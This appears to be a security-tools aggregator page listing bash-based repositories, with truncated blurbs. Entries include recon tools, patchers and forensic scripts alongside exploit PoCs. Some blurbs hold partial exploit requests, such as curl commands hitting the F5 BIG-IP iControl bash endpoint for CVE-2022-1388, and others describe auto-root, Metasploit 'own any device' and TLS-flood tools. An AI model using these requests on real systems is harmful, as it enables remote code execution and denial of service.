Reconky-Automated_Bash_Script

Reconky-Automated Bash Script root@kitploit: \ \ /|| \ /|\ /| | || /| /| || \ || \ / / \ / | || | | | | | || \ | || / / \ / | | | | | | | || \ \ || \ / | \ | | | | | | || | \ || \ \ | \ | /| /| || \ || / \ \ | | |/ ///|/ |/ / / Usage ./reconky.sh About Reconky is a script written in bash...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE checker Simple bash script to check CVE-2022-1388 RCE F5 BIG-IP. + Usage: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Don't forget to change the IP address root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat...

subdomains.sh

subdomains.sh A wrapper around tools used for subdomain enumeration, to automate the workflow, on a given domain, written in bash. Resources The Workflow Installation Usage Credits Contribution The Workflow Installation Run the installation script: root@kitploit: curl -s...

CVE-2025-20029-simulation

🔐 Replayable Attack Simulation – CVE-2025-20029 ⚠️ This repository simulates CVE-2025-20029 in a safe and controlled environment. It does not interact with real F5 BIG-IP systems or exploit any production service. The goal is educational: to study the vulnerability pattern and test payloads safely...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST vulnerability CVE-2022-1388 Usage This POC is Verified! root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' ...

ShellShock-CGI-Scan

ShellShock-CGI-Scan A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 The Bash Bug. Options: root@kitploit: -i local ip-address -p port to listen -l site list -t connection timeout Default: 15s Example: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 Starting listen in...

bug-bounty-tools

Bug Bounty Script A BASH Script to automate the installation of the most popular bug bounty tools, the main purpose of this script is to run it on temporary/disposable virtual machines in the cloud. Tools Used Nuclei httpx Naabu Subfinder DNSx Nmap Katana Recox Wfuzz Amass SQLMap Setup 1. Copy or...

Auto-Root-Exploit

Auto-Root-Exploit Auto Root Exploit Tool Author : Nilotpal Biswas Facebook : https://www.facebook.com/nilotpal.biswas.73 Twitter : https://twitter.com/nilotpalhacker USAGE : root@kitploit: for kernel version 2.6 all bash autoroot.sh 2 for kernel version 3 all bash autoroot.sh 3 for kernel version...

IntRec-Pack

IntRec-Pack Intelligence and Reconnaissance Package/Bundle installer. IntRec-Pack is a Bash script designed to download, install and deploy several quality OSINT, Recon and Threat Intelligence tools. Due to the fact it manages the installation of the various dependencies related to these programs...

revisaxzutils

revisaxzutils Bash script to check if you have the CVE-2024-3094 vulnerability. Installation Quick installation for Ubuntu, Kali Linux, Parrot root@kitploit: git clone https://github.com/hackingetico21/revisaxzutils.git cd revisaxzutils chmod +x ./revisaxzutils.sh...

MozCache

MozCache Bash script Simple shell script to perform forensic analysis of the Mozilla-Browsers cache Firefox, Iceweasel and Seamonkey. The script orders by date the files cached from a browser of the Mozilla family using the cache version 2. Together with the name of each file the script generates...

CVE-2022-42889

CVE-2022-42889 Python script for CVE-2022-42889 To test this locally follow the docker POC: https://github.com/karthikuj/cve-2022-42889-text4shell-docker For a PHP version of this: https://github.com/ClickCyber/cve-2022-42889 If youre running this and exploiting it locally, the IP you need to use...

debian11-dirty_pipe-patcher

debian11-dirtypipe-patcher This Project is still under development Since the Debian 11 still comes with the kernel version 5.10, which is vulnerable to the Dirty Pipe Vulnerability, this scirpt is made for manually compile and install the kernel version 5.18 which is not vulnerable. Usage 1. Clon...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

bash-cve-2014-7169-cookbook

bash-cve-2014-7169-cookbook Ensures bash 'shellshock' vulnerability is patched. Based on blog post written by Julian Dunn @ Chef https://www.chef.io/blog/2014/09/30/detecting-repairing-shellshock-with-chef/...

bash-tls-reneg-attack

bash-tls-reneg-attack A bash script that attempts to flood a server with TLS renegotiations by using the openssl client. See CVE-2011-1473 and CVE-2011-1473 for details. Usage: ./tls-reneg.sh some.hostname.here:port...

Autopwn

Autopwn™ A simple bash based metasploit automation tool! With just a few clicks, own any android or windows device!! Autopwn in action Caution: This tool is purely for educational purposes, If you end up in any legal trouble and point a finger at me, I'll just laugh at you : The user is responsib...

CVE-2021-3156-PATCHER

This simple bash script will patch the recently discovered sudo heap overflow vulnerability. Simply run git clone https://github.com/elbee-cyber/CVE-2021-3156-PATCHER && cd CVE-2021-3156-PATCHER && sh CVE-2021-3156-patcher.sh This patch is significantly important for any nix systems. Neglecting...

subjs

subjs subjs fetches javascript files from a list of URLS or subdomains. Analyzing javascript files can help you find undocumented endpoints, secrets, and more. It's recommended to pair this with gau and then https://github.com/GerbenJavado/LinkFinder Resources Usage Installation Usage: Examples:...

CVE-2023-24489-poc

CVE-2023-24489-poc POC for CVE-2023-24489 with bash. It needs a list of target.txt full of the targets you want to test in this format: https://example1.com https://example2.com https://example3.com The file must be within the same dir where the bash script is executed. Please use with caution !...